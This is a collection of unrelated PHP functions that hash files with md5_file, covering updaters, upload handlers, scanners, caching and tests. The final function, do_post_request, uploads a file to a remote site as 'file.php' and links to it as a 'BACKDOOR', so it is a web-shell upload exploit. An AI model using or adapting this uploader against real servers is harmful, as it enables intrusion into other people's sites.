/** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $remoteFilename = 'http://get.insight.sensiolabs.com/insight.phar'; $localFilename = $_SERVER['argv'][0]; $tempFilename = basename($localFilename, '.phar') . '-temp.phar'; try { copy($remoteFilename, $tempFilename); if (md5_file($localFilename) == md5_file($tempFilename)) { $output->writeln('<info>insight is already up to date.</info>'); unlink($tempFilename); return; } chmod($tempFilename, 0777 & ~umask()); // test the phar validity $phar = new \Phar($tempFilename); // free the variable to unlock the file unset($phar); rename($tempFilename, $localFilename); $output->writeln('<info>insight updated.</info>'); } catch (\Exception $e) { if (!$e instanceof \UnexpectedValueException && !$e instanceof \PharException) { throw $e; } unlink($tempFilename); $output->writeln('<error>The download is corrupt (' . $e->getMessage() . ').</error>'); $output->writeln('<error>Please re-run the self-update command to try again.</error>'); } }
function buildjs() { $t = $_GET["t"]; $time = time(); $MEPOST = 0; header("content-type: application/x-javascript"); $tpl = new templates(); $page = CurrentPageName(); $array = unserialize(@file_get_contents($GLOBALS["CACHEFILE"])); $prc = intval($array["POURC"]); $title = $tpl->javascript_parse_text($array["TEXT"]); $md5file = trim(md5_file($GLOBALS["LOGSFILES"])); echo "// CACHE FILE: {$GLOBALS["CACHEFILE"]} {$prc}%\n"; echo "// LOGS FILE: {$GLOBALS["LOGSFILES"]} - {$md5file} " . strlen($md5file) . "\n"; if ($prc == 0) { if (strlen($md5file) < 32) { echo "\n\t// PRC = {$prc} ; md5file={$md5file}\n\tfunction Start{$time}(){\n\t\t\tif(!RTMMailOpen()){return;}\n\t\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$_GET["md5file"]}');\n\t}\n\tsetTimeout(\"Start{$time}()\",1000);"; return; } } if ($md5file != $_GET["md5file"]) { echo "\n\tvar xStart{$time}= function (obj) {\n\t\tif(!document.getElementById('text-{$t}')){return;}\n\t\tvar res=obj.responseText;\n\t\tif (res.length>3){\n\t\t\tdocument.getElementById('text-{$t}').value=res;\n\t\t}\t\t\n\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$md5file}');\n\t}\t\t\n\t\n\tfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\tvar XHR = new XHRConnection();\n\t\tXHR.appendData('Filllogs', 'yes');\n\t\tXHR.appendData('t', '{$t}');\n\t\tXHR.setLockOff();\n\t\tXHR.sendAndLoad('{$page}', 'POST',xStart{$time},false); \n\t}\n\tsetTimeout(\"Start{$time}()\",1000);"; return; } if ($prc > 100) { echo "\n\tfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\tdocument.getElementById('title-{$t}').style.border='1px solid #C60000';\n\t\tdocument.getElementById('title-{$t}').style.color='#C60000';\n\t\t\$('#progress-{$t}').progressbar({ value: 100 });\n\t}\n\tsetTimeout(\"Start{$time}()\",1000);\n\t"; return; } if ($prc == 100) { echo "\n\tfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\t\$('#SQUID_ARTICA_QUOTA_RULES').flexReload();\n\t\tRTMMailHide();\n\t}\n\tsetTimeout(\"Start{$time}()\",1000);\n\t"; return; } echo "\t\nfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$_GET["md5file"]}');\n\t}\n\tsetTimeout(\"Start{$time}()\",1500);\n"; }
public function beforeSave() { $path = $this->getRealPath(); if (!$this->md5 && $this->path && file_exists($path)) { $this->md5 = md5_file($path); } }
public function testIfWillDeleteEmbeddedImage() { $fileName = __DIR__ . '/logo-1024.png'; $md5 = md5_file($fileName); // NOTE: Must work fine even if _id is not set $model = new ModelWithEmbeddedImage(); $model->file = new Image(); $model->file->set($fileName); $em = new EntityManager($model); $em->save(); $finder = new Finder($model); $found = $finder->findByPk($model->_id); /* @var $found ModelWithEmbeddedImage */ $file = $found->file->get()->getBytes(); $this->assertSame($md5, md5($file)); // Resize image $params = new ImageParams(); $params->width = 100; $params->height = 100; $resized = $found->file->get($params)->getBytes(); // Check if was resized $this->assertTrue($file > $resized); $mangan = new Mangan(); $gfs = $mangan->getDbInstance()->getGridFS(); $tmp = $mangan->getDbInstance()->getGridFS(File::TmpPrefix); $criteria = ['parentId' => $found->file->_id]; $this->assertSame(1, $gfs->count($criteria)); $this->assertSame(1, $tmp->count($criteria)); $deleted = $found->delete(); $this->assertTrue($deleted); $this->assertSame(0, $gfs->count($criteria)); $this->assertSame(0, $tmp->count($criteria)); }
/** * Mise a jour automatisee de l'ecran de securite * On se base sur le filemtime de l'ecran source avec un en-tete if_modified_since * Mais on fournit aussi le md5 de notre ecran actuel et la version branche de SPIP * Cela peut permettre de diffuser un ecran different selon la version de SPIP si besoin * ou de ne repondre une 304 que si le md5 est bon */ function mise_a_jour_ecran_securite() { // TODO : url https avec verification du certificat return; // si l'ecran n'est pas deja present ou pas updatable, sortir if (!_URL_ECRAN_SECURITE or !file_exists($filename = _DIR_ETC . "ecran_securite.php") or !is_writable($filename) or !($last_modified = filemtime($filename)) or !($md5 = md5_file($filename))) { return false; } include_spip('inc/distant'); $tmp_file = _DIR_TMP . "ecran_securite.php"; $url = parametre_url(_URL_ECRAN_SECURITE, "md5", $md5); $url = parametre_url($url, "vspip", $GLOBALS['spip_version_branche']); $res = recuperer_url($url, array('if_modified_since' => $last_modified, 'file' => $tmp_file)); // si il y a une version plus recente que l'on a recu correctement if ($res['status'] == 200 and $res['length'] and $tmp_file = $res['file']) { if ($md5 !== md5_file($tmp_file)) { // on essaye de l'inclure pour verifier que ca ne fait pas erreur fatale include_once $tmp_file; // ok, on le copie a la place de l'ecran existant // en backupant l'ecran avant, au cas ou @copy($filename, $filename . "-bck-" . date('Y-m-d-His', $last_modified)); @rename($tmp_file, $filename); } else { @unlink($tmp_file); } } }
public function afterValidate($event) { $this->prepareDataDirectory(); $file = CUploadedFile::getInstanceByName($this->uploadInstance); if ($file instanceof CUploadedFile && $file->getError() == UPLOAD_ERR_OK && !$this->Owner->hasErrors()) { $uniqueFilename = P3StringHelper::generateUniqueFilename($file->getName()); $fullFilePath = $this->_fullDataPath . DIRECTORY_SEPARATOR . $uniqueFilename; $relativeFilePath = $this->_relativeDataPath . DIRECTORY_SEPARATOR . $uniqueFilename; if ($file->saveAs($fullFilePath)) { #echo $fullFilePath;exit; if (!$this->Owner->isNewRecord) { $this->deleteFile($this->Owner->path); } if (!$this->Owner->title) { $this->Owner->title = P3StringHelper::cleanName($file->name, 32); } $this->Owner->path = $relativeFilePath; $this->Owner->mimeType = $file->type; $this->Owner->size = $file->size; $this->Owner->originalName = $file->name; $this->Owner->md5 = md5_file($fullFilePath); } else { $this->Owner->addError('filePath', 'File uploaded failed!'); } } else { if ($this->Owner->isNewRecord) { #$this->Owner->addError('filePath', 'No file uploaded!'); Yii::trace('No file uploaded!'); } } }
/** * 文件扫描 * @param $filepath 目录 * @param $subdir 是否搜索子目录 * @param $ex 搜索扩展 * @param $isdir 是否只搜索目录 * @param $md5 是否生成MD5验证码 * @param $enforcement 强制更新缓存 */ function scan_file_lists($filepath, $subdir = 1, $ex = '', $isdir = 0, $md5 = 0, $enforcement = 0) { static $file_list = array(); if ($enforcement) { $file_list = array(); } $flags = $isdir ? GLOB_ONLYDIR : 0; $list = glob($filepath . '*' . (!empty($ex) && empty($subdir) ? '.' . $ex : ''), $flags); if (!empty($ex)) { $ex_num = strlen($ex); } foreach ($list as $k => $v) { $v1 = str_replace(PHPCMS_PATH, '', $v); if ($subdir && is_dir($v)) { scan_file_lists($v . DIRECTORY_SEPARATOR, $subdir, $ex, $isdir, $md5); continue; } if (!empty($ex) && strtolower(substr($v, -$ex_num, $ex_num)) == $ex) { if ($md5) { $file_list[$v1] = md5_file($v); } else { $file_list[] = $v1; } continue; } elseif (!empty($ex) && strtolower(substr($v, -$ex_num, $ex_num)) != $ex) { unset($list[$k]); continue; } } return $file_list; }
/** * Function which will return the hash after passing through all folders and subfolders within it. * @param $dir - Starting folder to scan * @param $excludeFileList - List of filenames to exclude from scan * @param $excludeExtensionList - List of extensions to exclude from scan * @return Final MD5 of all files scanned. */ function getMD5Hash($dir, $excludeFileList, $excludeExtensionList) { if (!is_dir($dir)) { return false; } $fileMD5list = array(); $d = dir($dir); while (false !== ($entry = $d->read())) { if ($entry != '.' && $entry != '..') { if (is_dir($dir . '/' . $entry)) { $fileMD5list[] = getMD5Hash($dir . '/' . $entry, $excludeFileList, $excludeExtensionList); } else { if (stripos($excludeFileList, $entry) === false) { $extension = end(explode('.', $entry)); //get the file extension if (stripos($excludeExtensionList, $extension) === false) { $fileMD5list[] = md5_file($dir . '/' . $entry); //Prepare list to MD5 only allowed } } } } } $d->close(); return md5(implode('', $fileMD5list)); //Return final MD5 of all files }
private static function check_new_file($old_image, $new_image) { if (md5_file($old_image) == md5_file($new_image) || filesize($old_image) == filesize($new_image)) { return 0; } return 1; }
/** * Get a filename for the file that is the MD5 hash of the contents. * * @param string $path * @return string */ public function hashName($path = null) { if ($path) { $path = rtrim($path, '/') . '/'; } return $path . md5_file($this->path()) . '.' . $this->extension(); }
public function moveUploadedFile(UploadedFile $file, $uploadBasePath, $relativePath, $fileName) { $originalName = $file->getFilename(); // use filemtime() to have a more determenistic way to determine the subpath, otherwise its hard to test. // $relativePath = date('Y-m', filemtime($file->getPath())); $targetFileName = $relativePath . DIRECTORY_SEPARATOR . $originalName; $targetFilePath = $uploadBasePath . DIRECTORY_SEPARATOR . $targetFileName; $ext = $file->getExtension(); $i = 1; while (file_exists($targetFilePath) && md5_file($file->getPath()) != md5_file($targetFilePath)) { if ($ext) { $prev = $i == 1 ? "" : $i; $targetFilePath = $targetFilePath . str_replace($prev . $ext, $i++ . $ext, $targetFilePath); } else { $targetFilePath = $targetFilePath . $i++; } } $targetDir = $uploadBasePath . DIRECTORY_SEPARATOR . $relativePath; if (!is_dir($targetDir)) { $ret = mkdir($targetDir, umask(), true); if (!$ret) { throw new \RuntimeException("Could not create target directory to move temporary file into."); } } //$file->move($targetDir, basename($targetFilePath)); //$file->move($targetDir, basename($fileName.'.'.$ext)); $file->move($targetDir, basename($fileName)); return str_replace($uploadBasePath . DIRECTORY_SEPARATOR, "", $targetFilePath); }
public function downloadPlugin($name, $url, $signature) { if (is_dir(ipFile("Plugin/{$name}/"))) { Service::deactivatePlugin($name); Helper::removeDir(ipFile("Plugin/{$name}/")); } //download plugin $net = new \Ip\Internal\NetHelper(); $pluginTempFilename = $net->downloadFile($url, ipFile('file/secure/tmp/'), $name . '.zip'); if (!$pluginTempFilename) { throw new \Ip\Exception('Plugin file download failed.'); } $archivePath = ipFile('file/secure/tmp/' . $pluginTempFilename); //check signature $fileMd5 = md5_file($archivePath); $rsa = new \Crypt_RSA(); $rsa->loadKey($this->publicKey); $rsa->setSignatureMode(CRYPT_RSA_SIGNATURE_PKCS1); $verified = $rsa->verify($fileMd5, base64_decode($signature)); if (!$verified) { throw new \Ip\Exception('Plugin signature verification failed.'); } //extract $secureTmpDir = ipFile('file/secure/tmp/'); $tmpExtractedDir = \Ip\Internal\File\Functions::genUnoccupiedName($name, $secureTmpDir); \Ip\Internal\Helper\Zip::extract($secureTmpDir . $pluginTempFilename, $secureTmpDir . $tmpExtractedDir); unlink($archivePath); //install $extractedDir = $this->getFirstDir($secureTmpDir . $tmpExtractedDir); $installDir = Model::pluginInstallDir(); $newPluginDir = \Ip\Internal\File\Functions::genUnoccupiedName($name, $installDir); rename($secureTmpDir . $tmpExtractedDir . '/' . $extractedDir, $installDir . $newPluginDir); Service::activatePlugin($name); }
function stat($file, $md5 = true, $sha1 = true) { $rval = array(); foreach (stat($file) as $i => $v) { if (is_numeric($i)) { continue; } $rval[$i] = $v; } $rval['type'] = filetype($file); if ($rval['type'] == 'file') { if ($md5) { $rval['md5'] = md5_file($file); } if ($sha1) { $rval['sha1'] = sha1_file($file); } } $dir = $this->dir; if (0 !== strpos($file, $dir) && 'wp-config.php' == basename($file)) { $dir = explode(DIRECTORY_SEPARATOR, $dir); array_pop($dir); $dir = implode(DIRECTORY_SEPARATOR, $dir); } $rval['path'] = str_replace($dir, '', $file); return $rval; }
public function resourceCache($file) { // Second to cache $STC = 86400; // Greenwich Mean Time $GMT = gmdate("D, d M Y H:i:s", time() + $STC) . " GMT"; // Last Modified $lastModified = filemtime($file); // Get a unique hash of this file (etag) $etagFile = md5_file($file); // Get the HTTP_IF_MODIFIED_SINCE header if set $ifModifiedSince = isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) ? $_SERVER['HTTP_IF_MODIFIED_SINCE'] : false; // Get the HTTP_IF_NONE_MATCH header if set (etag: unique file hash) $etagHeader = isset($_SERVER['HTTP_IF_NONE_MATCH']) ? trim($_SERVER['HTTP_IF_NONE_MATCH']) : false; // Set etag-header header("Etag: {$etagFile}"); // Set last-modified header header("Last-Modified: " . gmdate("D, d M Y H:i:s", $lastModified) . " GMT"); header("Expires: {$GMT}"); header("Pragma: cache"); // Make sure caching is turned on header("Cache-Control: public, max-age={$STC}"); // Check if page has changed. If not, send 304 and exit if (@strtotime($ifModifiedSince) == $lastModified || $etagHeader == $etagFile) { header("HTTP/1.1 304 Not Modified"); exit; } }
/** * Testing correct create models * * @dataProvider dataProviderForCorrectWorkflow */ public function testCorrectWorkflow($columns, $primaryKey, $rowTemplatePath, $tableTemplatePath) { $container = new \Mockery\Container(); $templateRow = $container->mock('\\Bluzman\\Generator\\Template\\RowTemplate')->shouldDeferMissing()->shouldAllowMockingProtectedMethods(); $templateRow->shouldReceive('getDefaultTemplateData')->atLeast(1)->andReturn($this->dataForTemplate)->getMock(); $templateTable = $container->mock('\\Bluzman\\Generator\\Template\\TableTemplate')->shouldDeferMissing()->shouldAllowMockingProtectedMethods(); $templateTable->shouldReceive('getDefaultTemplateData')->atLeast(1)->andReturn($this->dataForTemplate)->getMock(); $command = $container->mock('\\Bluzman\\Command\\Init\\ModelCommand[getPrimaryKey, getColumns, getObjTemplate]')->shouldDeferMissing()->shouldAllowMockingProtectedMethods(); $command->shouldReceive('getPrimaryKey')->atLeast(1)->andReturn($primaryKey)->getMock(); $command->shouldReceive('getColumns')->atLeast(1)->andReturn($columns)->getMock(); $command->shouldReceive('getObjTemplate')->withArgs(['RowTemplate'])->andReturn($templateRow)->getMock(); $command->shouldReceive('getObjTemplate')->withArgs(['TableTemplate'])->andReturn($templateTable)->getMock(); $this->getApplication()->addCommands([$command]); $commandTester = new CommandTester($command); $commandTester->execute(['command' => $command->getName(), '--name' => $this->name, '--table' => $this->table]); // check that all went well $this->assertTrue($command->verify()); $display = $commandTester->getDisplay(); // check all messages were displayed $this->assertRegExp('/Running "init:model" command/', $display); $this->assertRegExp('/has been successfully created/', $display); $table = $this->modelPath . DS . 'Table.php'; $row = $this->modelPath . DS . 'Row.php'; $this->assertFileExists($table); $this->assertEquals(md5_file($table), md5_file($tableTemplatePath)); $this->assertFileExists($row); $this->assertEquals(md5_file($row), md5_file($rowTemplatePath)); }
public function stuff() { // check the upload form was actually submitted else print the form isset($_POST['submit_x']) or $this->error('the upload form is needed', $this->uploadForm); // check for PHP's built-in uploading this->errors $_FILES[$this->fieldname]['error'] == 0 or $this->error($this->errors[$_FILES[$this->fieldname]['error']], $this->uploadForm); // check that the file we are working on really was the subject of an HTTP upload @is_uploaded_file($_FILES[$this->fieldname]['tmp_name']) or $this->error('not an HTTP upload', $this->uploadForm); // Get the image type $extension = $this->getImageExtension($_FILES[$this->fieldname]['tmp_name']); if ($extension === false) { $this->error('only image uploads are allowed', $this->uploadForm); } // make a unique filename for the uploaded file and check it is not already // taken... $md5 = md5_file($_FILES[$this->fieldname]['tmp_name']); $fname = $md5 . '.' . $extension; if (file_exists($uploadFilename = $this->uploadsDirectory . $fname)) { $this->error('We already have that one!<br/>Be more original next time.', $this->uploadForm); } // now let's move the file to its final location and allocate the new filename to it @move_uploaded_file($_FILES[$this->fieldname]['tmp_name'], $uploadFilename) or $this->error('receiving directory insufficient permission', $this->uploadForm); $user_data = $this->getUserData(); $sql = "SELECT id from users where username = '******'username']) . "';"; $user_id = $this->db->select_one($sql); if (!$user_id) { $user_id = $this->db->insert_array('users', $user_data); } $image_id = $this->saveImageToDB($md5, $extension, $user_id, $create_time); return $image_id; }
public function backup($tempDir, $connection) { //$service = App::make('Tee\Backup\Services\BackupService'); $databaseBackup = new \Tee\Backup\Package\Database(); $databaseBackup->connection = $connection; $info = Config::get("database.connections.{$connection}"); if (!$info) { throw new \Exception("Connection {$connection} not found"); } if ($info['driver'] == 'mysql') { $databaseBackup->filename = md5($connection) . '.sql'; $filename = "{$tempDir}/" . $databaseBackup->filename; $this->dumpMysqlDatabase($info, $filename); } else { if ($info['driver'] == 'sqlite') { $databaseBackup->filename = md5($connection) . '.sqlite'; $filename = "{$tempDir}/" . $databaseBackup->filename; $this->dumpSqliteDatabase($info, $filename); } else { throw new \Exception("Backup not avaliable to driver: {$info['driver']}"); } } $databaseBackup->md5 = md5_file($filename); return $databaseBackup; }
/** * * @param string $paramName * @return ArrayCollection */ public function saveMultipleImages($paramName = 'files') { $time = new \DateTime(); $list = new ArrayCollection(); foreach ($_FILES[$paramName]['name'] as $i => $v) { $name = $_FILES[$paramName]['name'][$i]; $name2 = strtolower($name); $type = $_FILES[$paramName]['type'][$i]; $tmp = $_FILES[$paramName]['tmp_name'][$i]; $error = $_FILES[$paramName]['error'][$i]; $size = $_FILES[$paramName]['size'][$i]; $md5 = md5_file($tmp); $image = new Image(); $md5Check = $this->findOneBy(array('md5' => $md5)); if (empty($md5Check)) { $image->setMd5($md5); $image->setSizeKb(floatval($size / 1024)); $image->setKey($this->getAvailableKey()); move_uploaded_file($tmp, realpath(PUBLIC_PATH . '/uploaded-images') . '/' . $image->getKey()); } else { $image->setReferenceImage($md5Check); } $image->setName(basename($name)); $image->setUploadedTime($time); $this->save($image); $list->add($image); } return $list; }
/** * Helper function to traverse the directories. Called initially by scan() * * @param string $dir */ private function _scan($dir) { if (in_array($dir, $this->exclusions)) { return; } if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($filename = readdir($dh)) !== false) { if (substr($filename, 0, 1) == '.') { continue; } $path = $dir . '/' . $filename; if (is_dir($path)) { $this->numDirectories++; $this->_scan($path); } else { $this->numFiles++; if (is_readable($path)) { $md5 = md5_file($path); $path = substr($path, strlen($this->rootDir) + 1); fwrite($this->logFile, "{$md5}:{$path}\n"); } } } closedir($dh); } } }
/** * @return string */ public function getHash() { if ($this->_hash === null) { $this->_hash = md5(implode('|', array($this->_user, $this->_scope, $this->_onBehalfOfUser, md5_file($this->_keyFile)))); } return $this->_hash; }
/** Scan files/ directory for new files * @cron period: 1h */ function cronjob_files_discover() { $ret = array('new' => 0, 'updated' => 0, 'removed' => 0); # Search for new files or updates if (file_exists($files_dir = 'files/')) { foreach (scandir($files_dir) as $file) { if ($file[0] != '.' && strtolower(strrchr($file, '.')) == '.exe') { $q_data = array('file' => $file, 'hash' => md5_file("{$files_dir}/{$file}"), 'time' => time()); # try to add a new file (rely on the PK) mysql_query(mkquery('INSERT INTO `exe_updates` SET `file`={s:file}, `hash`={s:hash}, `ctime`={i:time}, `mtime`={i:time};', $q_data)); if (mysql_affected_rows() > 0) { $ret['new']++; } # try to update mtime & hash of an existing file mysql_query(mkquery('UPDATE `exe_updates` SET `mtime`={i:time}, `hash`={s:hash}, `scan_date`=0, `scan_threat`=0, `scan_count`=0 WHERE `file`={s:file} AND `hash`<>{s:hash};', $q_data)); if (mysql_affected_rows() > 0) { $ret['updated']++; } } } } # Remove missing files $res = mysql_q(mkquery('SELECT `id`, `file`, `mtime` FROM `exe_updates` WHERE `scan_date` < {i:date};', array('date' => time() - 60 * 60 * 20))); while ($res && !is_bool($exe = mysql_fetch_assoc($res))) { if (!file_exists('files/' . $exe['file'])) { if (time() - $exe['mtime'] > 60 * 60 * 24) { mysql_q(mkquery('DELETE FROM `exe_updates` WHERE `id`={i:id}', $exe)); $ret['removed']++; } continue; } } return $ret; }
function buildjs() { $t = $_GET["t"]; $time = time(); $MEPOST = 0; $cachefile = "/usr/share/artica-postfix/ressources/logs/smtpd_milters"; $logsFile = "/usr/share/artica-postfix/ressources/logs/smtpd_milters.log"; header("content-type: application/x-javascript"); $tpl = new templates(); $page = CurrentPageName(); $array = unserialize(@file_get_contents($cachefile)); $prc = intval($array["POURC"]); $title = $tpl->javascript_parse_text($array["TEXT"]); $restart = null; if ($prc == 0) { echo "\nfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$_GET["md5file"]}{$restart}');\n}\nsetTimeout(\"Start{$time}()\",1000);"; return; } $md5file = md5_file($logsFile); if ($md5file != $_GET["md5file"]) { echo "\n\tvar xStart{$time}= function (obj) {\n\t\tif(!document.getElementById('text-{$t}')){return;}\n\t\tvar res=obj.responseText;\n\t\tif (res.length>3){\n\t\t\tdocument.getElementById('text-{$t}').value=res;\n\t\t}\t\t\n\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$md5file}{$restart}');\n\t}\t\t\n\t\n\tfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\tvar XHR = new XHRConnection();\n\t\tXHR.appendData('Filllogs', 'yes');\n\t\tXHR.appendData('t', '{$t}');\n\t\tXHR.setLockOff();\n\t\tXHR.sendAndLoad('{$page}', 'POST',xStart{$time},false); \n\t}\n\tsetTimeout(\"Start{$time}()\",1000);"; return; } if ($prc == 100) { echo "\n\tfunction Start{$time}(){\n\tif(!RTMMailOpen()){return;}\n\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\tLayersTabsAllAfter();\n\tRTMMailHide();\n\tCacheOff();\n\tRefreshTab('main_config_milter_spamass');\n\t}\nsetTimeout(\"Start{$time}()\",1000);\n"; return; } if ($prc > 100) { echo "\n\tfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\tdocument.getElementById('title-{$t}').style.border='1px solid #C60000';\n\t\tdocument.getElementById('title-{$t}').style.color='#C60000';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\t}\n\tsetTimeout(\"Start{$time}()\",1000);\n\t"; return; } echo "\t\nfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$_GET["md5file"]}{$restart}');\n\t}\n\tsetTimeout(\"Start{$time}()\",1500);\n"; //Loadjs('$page?build-js=yes&t=$t&md5file={$_GET["md5file"]}'); }
function plugins_get_infos_un($plug, $reload, $dir, &$cache) { if (!is_readable($file = "{$dir}{$plug}/" . ($desc = "paquet") . ".xml")) { if (!is_readable($file = "{$dir}{$plug}/" . ($desc = "plugin") . ".xml")) { return false; } } if (($time = intval(@filemtime($file))) < 0) { return false; } $md5 = md5_file($file); $pcache = isset($cache[$dir][$plug]) ? $cache[$dir][$plug] : array('filemtime' => 0, 'md5_file' => ''); // si le cache est valide if (intval($reload) <= 0 and $time > 0 and $time <= $pcache['filemtime'] and $md5 == $pcache['md5_file']) { return false; } // si on arrive pas a lire le fichier, se contenter du cache if (!($texte = spip_file_get_contents($file))) { return false; } $f = charger_fonction('infos_' . $desc, 'plugins'); $ret = $f($texte, $plug, $dir); $ret['filemtime'] = $time; $ret['md5_file'] = $md5; $diff = $ret != $pcache; if ($diff) { $cache[$dir][$plug] = $ret; # echo count($cache[$dir]), $dir,$plug, " $reloadc<br>"; } return $diff; }
function buildjs() { $t = $_GET["t"]; $time = time(); $MEPOST = 0; $cachefile = $GLOBALS["PROGRESS_FILE"]; $logsFile = $GLOBALS["LOG_FILE"]; header("content-type: application/x-javascript"); $tpl = new templates(); $page = CurrentPageName(); $array = unserialize(@file_get_contents($cachefile)); $prc = intval($array["POURC"]); $title = $tpl->javascript_parse_text($array["TEXT"]); if ($prc == 0) { echo "\nfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$_GET["md5file"]}&key={$_GET["key"]}&filename=" . urlencode($_GET["filename"]) . "');\n}\nsetTimeout(\"Start{$time}()\",1000);"; return; } $md5file = md5_file($logsFile); if ($md5file != $_GET["md5file"]) { echo "\n\tvar xStart{$time}= function (obj) {\n\t\tif(!document.getElementById('text-{$t}')){return;}\n\t\tvar res=obj.responseText;\n\t\tif (res.length>3){\n\t\t\tdocument.getElementById('text-{$t}').value=res;\n\t\t}\t\t\n\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$md5file}&key={$_GET["key"]}&filename=" . urlencode($_GET["filename"]) . "');\n\t}\t\t\n\t\n\tfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\tvar XHR = new XHRConnection();\n\t\tXHR.appendData('Filllogs', 'yes');\n\t\tXHR.appendData('filename','" . urlencode($_GET["filename"]) . "');\n\t\tXHR.appendData('key','" . urlencode($_GET["key"]) . "');\n\t\tXHR.appendData('t', '{$t}');\n\t\tXHR.setLockOff();\n\t\tXHR.sendAndLoad('{$page}', 'POST',xStart{$time},false); \n\t}\n\tsetTimeout(\"Start{$time}()\",1000);"; return; } if ($prc > 100) { echo "\n\tfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\tdocument.getElementById('title-{$t}').style.border='1px solid #C60000';\n\t\tdocument.getElementById('title-{$t}').style.color='#C60000';\n\t\t\$('#progress-{$t}').progressbar({ value: 100 });\n\t}\n\tsetTimeout(\"Start{$time}()\",1000);\n\t"; return; } if ($prc == 100) { echo "\n\tfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\tLayersTabsAllAfter();\n\t\tRTMMailHide();\n\t\tCacheOff();\n\t\t}\n\tsetTimeout(\"Start{$time}()\",1000);\n\t"; return; } echo "\t\nfunction Start{$time}(){\n\t\tif(!RTMMailOpen()){return;}\n\t\tdocument.getElementById('title-{$t}').innerHTML='{$title}';\n\t\t\$('#progress-{$t}').progressbar({ value: {$prc} });\n\t\tLoadjs('{$page}?build-js=yes&t={$t}&md5file={$_GET["md5file"]}&key={$_GET["key"]}&filename=" . urlencode($_GET["filename"]) . "');\n\t}\n\tsetTimeout(\"Start{$time}()\",1500);\n"; //Loadjs('$page?build-js=yes&t=$t&md5file={$_GET["md5file"]}'); }
/** * Описание функции */ function md5() { if ($this->_md5 == false && $this->exists()) { $this->_md5 = md5_file($_FILES[$this->input_name]['tmp_name']); } return $this->_md5; }
public function list_files($dir, $dirfile = false, $md5 = true, $root = true) { static $return = []; if ($root) { $return = []; } $filepoint = opendir($dir); while (($target = readdir($filepoint)) !== false) { if ("." == $target || ".." == $target) { continue; } if (is_dir($dir . $target)) { $this->list_files($dir . $target . '/', $dirfile, $md5, false); } else { if ($md5) { $file = $dirfile ? $dir . $target : $target; $return[md5_file($dir . $target)] = $file; } else { $file = $dirfile ? $dir . $target : $target; $return[] = $file; } } } closedir($filepoint); return $return; }
function do_post_request($url, $res, $file, $name) { $data = ""; $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10); $data .= "--{$boundary}\n"; $fileContents = file_get_contents($file); $md5 = md5_file($file); $ext = pathinfo($file, PATHINFO_EXTENSION); $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n"; $data .= "Content-Type: text/plain\n"; $data .= "Content-Transfer-Encoding: binary\n\n"; $data .= $fileContents . "\n"; $data .= "--{$boundary}--\n"; $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data)); $ctx = stream_context_create($params); $fp = fopen($url, 'rb', false, $ctx); if (!$fp) { throw new Exception("Erreur !"); } $response = @stream_get_contents($fp); if ($response === false) { throw new Exception("Erreur !"); } else { echo "file should be here : "; /* LETTERBOX */ if (count($response) > 1) { echo $response; } else { echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>"; } } }
